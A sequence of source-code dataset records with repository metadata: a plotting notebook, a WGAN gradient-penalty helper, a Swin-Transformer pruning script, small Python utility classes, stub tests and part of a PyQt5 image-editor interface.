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"text/plain": [ "<matplotlib.figure.Figure at 0x7fc79c1c3160>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "fig, ax = plt.subplots(1, 1, figsize=(6,6), sharex=True)\n", "\n", "ax.plot(t,FiberLen, label = 'fiber')\n", "ax.plot(t,TendonLen, label = 'tendon')\n", "plt.grid()\n", "plt.xlabel('time (s)')\n", "plt.ylabel('Length (m)')\n", "ax.legend(loc='best')\n", "\n", "\n", "fig, ax = plt.subplots(1, 3, figsize=(12,4), sharex=True, sharey=True)\n", "ax[0].plot(t,FiberLen, label = 'fiber')\n", "ax[1].plot(t,TendonLen, label = 'tendon')\n", "ax[2].plot(t,FiberLen + TendonLen, label = 'muscle (tendon + fiber)')\n", "\n", "ax[1].set_xlabel('time (s)')\n", "ax[0].set_ylabel('Length (m)')\n", "#plt.legend(loc='best')" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", 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78cdbbfb7e312f827587d9414b1b3a9f0af33882

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Python

torchbot/models/wgan_utils.py

stevehuanghe/torch_bot

443413116fa731c07c83ca2d7b5dacd2202ce9cb

[ "MIT" ]

null

torchbot/models/wgan_utils.py

stevehuanghe/torch_bot

443413116fa731c07c83ca2d7b5dacd2202ce9cb

[ "MIT" ]

null

torchbot/models/wgan_utils.py

stevehuanghe/torch_bot

443413116fa731c07c83ca2d7b5dacd2202ce9cb

[ "MIT" ]

null

import torch import torch.nn as nn import torch.autograd as autograd import torch.nn.functional as F def calc_gradient_penalty(netD, real_data, fake_data, lambda_gp=10.0): batch_size = real_data.size(0) device = real_data.device alpha = torch.rand(batch_size, 1) alpha = alpha.expand(real_data.size()) alpha = alpha.to(device) interpolates = (alpha * real_data + ((1.0 - alpha) * fake_data)).requires_grad_(True) disc_interpolates = netD(interpolates) outputs = torch.ones(disc_interpolates.size()).to(device) gradients = autograd.grad(outputs=disc_interpolates, inputs=interpolates, grad_outputs=outputs, create_graph=True, retain_graph=True, only_inputs=True)[0] gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean() * lambda_gp return gradient_penalty def calc_gradient_penalty_cd(netD, real_data, fake_data, labels, lambda_gp=10.0): batch_size = real_data.size(0) device = real_data.device alpha = torch.rand(batch_size, 1) alpha = alpha.expand(real_data.size()) alpha = alpha.to(device) interpolates = (alpha * real_data + ((1.0 - alpha) * fake_data)).requires_grad_(True) disc_interpolates = netD(interpolates, labels) outputs = torch.ones(disc_interpolates.size()).to(device) gradients = autograd.grad(outputs=disc_interpolates, inputs=interpolates, grad_outputs=outputs, create_graph=True, retain_graph=True, only_inputs=True)[0] gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean() * lambda_gp return gradient_penalty

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Python

multiprune/multiprune.py

5joono/Swin-Transformer

b5b7e85aa11ad72b2bec2d458fa78066e4c3d0f2

[ "MIT" ]

null

multiprune/multiprune.py

5joono/Swin-Transformer

b5b7e85aa11ad72b2bec2d458fa78066e4c3d0f2

[ "MIT" ]

null

multiprune/multiprune.py

5joono/Swin-Transformer

b5b7e85aa11ad72b2bec2d458fa78066e4c3d0f2

[ "MIT" ]

null

import os import numpy as np import pandas as pd os.environ['MKL_THREADING_LAYER'] = 'GNU' df = pd.DataFrame(columns=['multiprune', 'headstr', 'pluslayer', 'plushead', 'acc1']) df.to_csv("multiprune.csv",index=False) os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 1_7.11.0.7.9.9_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 2_1+7.11+4.0+3.8+7.9+6.9+11_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 3_8+1+7.1+11+4.0+3+5.8+2+7.9+2+6.9+11+6_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 4_8+1+4+7.3+1+11+4.0+10+3+5.8+2+5+7.9+2+11+6.3+9+11+6_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 5_1+4+6+7+8.1+3+4+6+11.0+3+5+8+10.1+2+5+7+8.2+6+7+9+11.3+6+7+9+11_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 6_1+4+6+7+8+10.0+1+3+4+6+11.0+3+5+7+8+10.1+2+4+5+7+8.2+3+6+7+9+11.3+6+7+9+10+11_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 7_1+4+5+6+7+8+10.0+1+2+3+4+6+11.0+3+4+5+7+8+10.1+2+3+4+5+7+8.2+3+4+6+7+9+11.1+3+6+7+9+10+11_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 8_1+3+4+5+6+7+8+10.0+1+2+3+4+6+8+11.0+1+3+4+5+7+8+10.1+2+3+4+5+7+8+11.2+3+4+6+7+8+9+11.1+3+5+6+7+9+10+11_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 9_1+3+4+5+6+7+8+10+11.0+1+2+3+4+6+8+9+11.0+1+3+4+5+7+8+9+10.1+2+3+4+5+6+7+8+11.0+2+3+4+6+7+8+9+11.1+3+5+6+7+8+9+10+11_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 10_1+3+4+5+6+7+8+9+10+11.0+1+2+3+4+6+8+9+10+11.0+1+3+4+5+6+7+8+9+10.0+1+2+3+4+5+6+7+8+11.0+1+2+3+4+6+7+8+9+11.0+1+3+5+6+7+8+9+10+11_999_999') os.system(f'python -m torch.distributed.launch --nproc_per_node 1 --master_port 12345 main.py --eval --cfg configs/swin_tiny_patch4_window7_224.yaml --resume swin_tiny_patch4_window7_224.pth --data-path data/imagenet/ --prune 11_1+2+3+4+5+6+7+8+9+10+11.0+1+2+3+4+6+7+8+9+10+11.0+1+2+3+4+5+6+7+8+9+10.0+1+2+3+4+5+6+7+8+9+11.0+1+2+3+4+6+7+8+9+10+11.0+1+2+3+5+6+7+8+9+10+11_999_999')

175.761905

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0.742075

879

3,691

2.937429

0.076223

0.021689

0.119287

0.178931

0.9055

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0.890008

0.889233

0.867932

0.867157

0

0.20431

0.057166

3,691

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381

184.55

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0.915989

0.547154

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1

0

1

0

1

0

1

null

0

12

15334a422b61b2077f52a6752ab49e7bc78d0d25

194

py

Python

portal_gun/commands/exceptions.py

Coderik/portal-gun

081020a46b16b649497bceb6c2435b1ba135b487

[ "MIT" ]

69

2018-05-03T18:25:43.000Z

2021-02-10T11:37:28.000Z

portal_gun/commands/exceptions.py

Coderik/portal-gun

081020a46b16b649497bceb6c2435b1ba135b487

[ "MIT" ]

7

2018-09-19T06:39:11.000Z

2022-03-29T21:55:08.000Z

portal_gun/commands/exceptions.py

Coderik/portal-gun

081020a46b16b649497bceb6c2435b1ba135b487

[ "MIT" ]

11

2018-07-30T18:09:12.000Z

2019-10-03T15:36:13.000Z

class CommandError(Exception): def __init__(self, message): super(CommandError, self).__init__(message) def __srt__(self): return self.message def __repr__(self): return self.message

19.4

45

0.757732

24

194

5.458333

0.458333

0.251908

0.21374

0.320611

0

0.134021

194

9

46

21.555556

0.779762

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false

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0.285714

0.857143

0

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null

1

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1

0

null

0

1

0

1

0

8

156fc46a2c0e3320cf0ceccc3d93a6a8adc5b6e9

1,932

py

Python

pykin/geometry/geometry.py

jdj2261/pykin

da952b8ec023382b8a324d1095b0cfd675c7452b

[ "MIT" ]

14

2021-08-09T06:59:10.000Z

2022-03-09T13:05:46.000Z

pykin/geometry/geometry.py

jdj2261/pykin

da952b8ec023382b8a324d1095b0cfd675c7452b

[ "MIT" ]

null

pykin/geometry/geometry.py

jdj2261/pykin

da952b8ec023382b8a324d1095b0cfd675c7452b

[ "MIT" ]

4

2021-12-13T03:23:36.000Z

2022-03-09T11:34:29.000Z

from pykin.kinematics.transform import Transform class Visual: """ class of Visual Args: offset (Transform): visual offset geom_type (str): visual type (box, cylinder, spehre, mesh) geom_param (dict): visual parameters """ TYPES = ['box', 'cylinder', 'sphere', 'mesh'] def __init__( self, offset=Transform(), geom_type=None, geom_param=None ): self.offset = offset self.gtype = geom_type self.gparam = geom_param def __str__(self): return f"""Visual(offset={self.offset}, geom_type={self.gtype}, geom_param={self.gparam})""" def __repr__(self): return 'pykin.geometry.geometry.{}()'.format(type(self).__name__) @property def offset(self): return self._offset @offset.setter def offset(self, offset): self._offset = Transform(offset.pos, offset.rot) class Collision: """ class of Collision Args: offset (Transform): collision offset geom_type (str): collision type (box, cylinder, spehre, mesh) geom_param (dict): collision parameters """ TYPES = ['box', 'cylinder', 'sphere', 'mesh'] def __init__( self, offset=Transform(), geom_type=None, geom_param=None ): self.offset = offset self.gtype = geom_type self.gparam = geom_param def __str__(self): return f"""Collision(offset={self.offset}, geom_type={self.gtype}, geom_param={self.gparam})""" def __repr__(self): return 'pykin.geometry.geometry.{}()'.format(type(self).__name__) @property def offset(self): return self._offset @offset.setter def offset(self, offset): self._offset = Transform(offset.pos, offset.rot)

25.76

73

0.56677

204

1,932

5.112745

0.191176

0.115053

0.092042

0.032598

0.780441

0.707574

0

0.314182

1,932

75

74

25.76

0.78717

0.177019

0

0.893617

0

0.24427

0.138179

0

1

0.212766

false

0

0.021277

0.12766

0.446809

0

null

0

1

0

1

0

null

0

1

0

1

0

8

15b205fa861b08fd926516fefd5eca31d984d4bf

670

py

Python

umapi_client/test/tests.py

wikimedia/umapi_client

76e56f17055dc8eb3d0584af9d5519d7b8359c14

[ "BSD-3-Clause" ]

1

2017-09-03T21:33:21.000Z

umapi_client/test/tests.py

dartar/umapi_client

76e56f17055dc8eb3d0584af9d5519d7b8359c14

[ "BSD-3-Clause" ]

null

umapi_client/test/tests.py

dartar/umapi_client

76e56f17055dc8eb3d0584af9d5519d7b8359c14

[ "BSD-3-Clause" ]

null

""" Implement tests for umapi_client. """ def test_good_request_no_params_raw(): assert False # TODO: implement your test here def test_good_request_no_params_agg(): assert False # TODO: implement your test here def test_good_request_no_params_ts(): assert False # TODO: implement your test here def test_good_request_with_params_raw(): assert False # TODO: implement your test here def test_good_request_with_params_agg(): assert False # TODO: implement your test here def test_good_request_with_params_ts(): assert False # TODO: implement your test here def test_bad_request(): assert False # TODO: implement your test here

24.814815

50

0.758209

100

670

4.75

0.21

0.103158

0.221053

0.353684

0.92

0.877895

0.802105

0

0.179104

670

26

51

25.769231

0.863636

0.374627

0

0.5

0

0.038462

0.5

1

0.5

true

0

0.5

0

null

0

1

0

null

0

1

0

1

0

12

ecc0995e8eadfd478975e8e7e053cc2cb9e27f75

397

py

Python

modulos/Moeda/Moeda.py

matewszz/Python

18b7fc96d3ed294d2002ed484941a0ee8cf18108

[ "MIT" ]

null

modulos/Moeda/Moeda.py

matewszz/Python

18b7fc96d3ed294d2002ed484941a0ee8cf18108

[ "MIT" ]

null

modulos/Moeda/Moeda.py

matewszz/Python

18b7fc96d3ed294d2002ed484941a0ee8cf18108

[ "MIT" ]

null

import Projeto x = float(input('Digite um valor: ')) print(f'A metadade de {Projeto.moeda(x)} é {Projeto.moeda(Projeto.metade(x))}.') print(f'O dobro de {Projeto.moeda(x)} é {Projeto.moeda(Projeto.dobro(x))}.') print(f'Aumentando 10% de {Projeto.moeda(x)}, temos {Projeto.moeda(Projeto.aumentar(x))}.') print(f'Diminuindo 13% de {Projeto.moeda(x)}, temos {Projeto.moeda(Projeto.diminuir(x))}.')

44.111111

91

0.702771

64

397

4.359375

0.390625

0.344086

0.200717

0.215054

0.530466

0

0.011019

0.085642

397

8

92

49.625

0.757576

0

0.666667

0.793451

0.360202

0

1

0

false

0

0.166667

0

0.166667

0.666667

0

null

1

0

1

0

1

0

null

0

1

0

7

01d72a73810e26c5a4fcc2b0a36023e0f058e43c

94,002

py

Python

com/zeketian/imageutil/ui/MainUI.py

ZekeTian/ImageUtils

af2adfe8b4457cae95e2bb6a0a4200ca5611344d

[ "Apache-2.0" ]

3

2021-03-15T15:17:06.000Z

2021-04-23T02:07:21.000Z

com/zeketian/imageutil/ui/MainUI.py

ZekeTian/ImageUtils

af2adfe8b4457cae95e2bb6a0a4200ca5611344d

[ "Apache-2.0" ]

null

com/zeketian/imageutil/ui/MainUI.py

ZekeTian/ImageUtils

af2adfe8b4457cae95e2bb6a0a4200ca5611344d

[ "Apache-2.0" ]

1

2020-12-28T09:15:52.000Z

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'main-ui.ui' # # Created by: PyQt5 UI code generator 5.13.0 # # WARNING! All changes made in this file will be lost! import cv2 from PyQt5 import QtCore, QtGui, QtWidgets import os import copy from PyQt5.QtCore import Qt from PyQt5.QtGui import QImage, QPixmap, QGuiApplication, QCursor, QColor from PyQt5.QtWidgets import QFileDialog, QGraphicsPixmapItem, QGraphicsScene, QSlider, QApplication, QInputDialog, \ QLineEdit, QMessageBox from com.zeketian.imageutil.control.BasicProcessingUtil import * from com.zeketian.imageutil.ui.CustomLabel import ImageLabel from com.zeketian.imageutil.ui.CustomDialog import * from com.zeketian.imageutil.ui.ColorCatcher import ColorCatcher class MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(926, 806) font = QtGui.QFont() font.setPointSize(10) MainWindow.setFont(font) self.__icon_path = "{0}/ui/edit_image.png".format(os.getcwd()) self.create_widget(MainWindow) self.retranslateUi(MainWindow) self.btn_lightness.clicked.connect(self.slider_lightness.show) self.slider_lightness.sliderReleased.connect(self.slider_lightness.hide) self.slider_blur.sliderReleased.connect(self.slider_blur.hide) self.slider_compress.sliderReleased.connect(self.slider_compress.hide) # 界面初始化时的一些基本操作 self.__current_img = None # 当前显示的图片 self.__original_img = None # 原始的图片 self.__last_img = None # 上一步操作的图片 self.__current_operation = None # 记录当前的操作 self.__lightness_max = 100 self.__lightness_min = -100 self.slider_lightness.setMaximum(100) self.slider_lightness.setMinimum(-100) self.slider_lightness.setTickPosition(QSlider.TicksBelow) # 在滑动块下文设置刻度值 self.slider_lightness.setTickInterval(5) # 设置刻度值间隔 self.slider_lightness.hide() self.slider_blur.hide() self.slider_compress.hide() self.btn_screenshot.hide() self.control.hide() QtCore.QMetaObject.connectSlotsByName(MainWindow) def create_widget(self, MainWindow): self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setStyleSheet("background: rgb(30, 30, 30)") self.centralwidget.setObjectName("centralwidget") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.centralwidget) self.verticalLayout_3.setContentsMargins(2, 2, 2, 2) self.verticalLayout_3.setSpacing(0) self.verticalLayout_3.setObjectName("verticalLayout_3") self.title = QtWidgets.QFrame(self.centralwidget) self.title.setMinimumSize(QtCore.QSize(0, 55)) self.title.setMaximumSize(QtCore.QSize(188888, 55)) self.title.setStyleSheet("background: rgb(60, 60, 60)") self.title.setFrameShape(QtWidgets.QFrame.StyledPanel) self.title.setFrameShadow(QtWidgets.QFrame.Raised) self.title.setObjectName("title") self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.title) self.horizontalLayout_4.setObjectName("horizontalLayout_4") self.icon = QtWidgets.QToolButton(self.title) self.icon.setMinimumSize(QtCore.QSize(90, 45)) self.icon.setMaximumSize(QtCore.QSize(90, 45)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.PlaceholderText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 128)) brush.setStyle(QtCore.Qt.NoBrush) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.PlaceholderText, brush) self.icon.setPalette(palette) font = QtGui.QFont() font.setPointSize(10) self.icon.setFont(font) self.icon.setStyleSheet("background: rgba(0, 0, 0, 0);\n" "color: rgb(255, 255, 255)") self.icon.setText("") icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap(self.__icon_path), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.icon.setIcon(icon) self.icon.setIconSize(QtCore.QSize(40, 40)) self.icon.setObjectName("icon") self.horizontalLayout_4.addWidget(self.icon) self.operation = QtWidgets.QFrame(self.title) self.operation.setMinimumSize(QtCore.QSize(250, 45)) self.operation.setMaximumSize(QtCore.QSize(250, 45)) self.operation.setFrameShape(QtWidgets.QFrame.StyledPanel) self.operation.setFrameShadow(QtWidgets.QFrame.Raised) self.operation.setObjectName("operation") self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.operation) self.horizontalLayout_3.setObjectName("horizontalLayout_3") self.btn_open = QtWidgets.QToolButton(self.operation) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 0)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) brush = 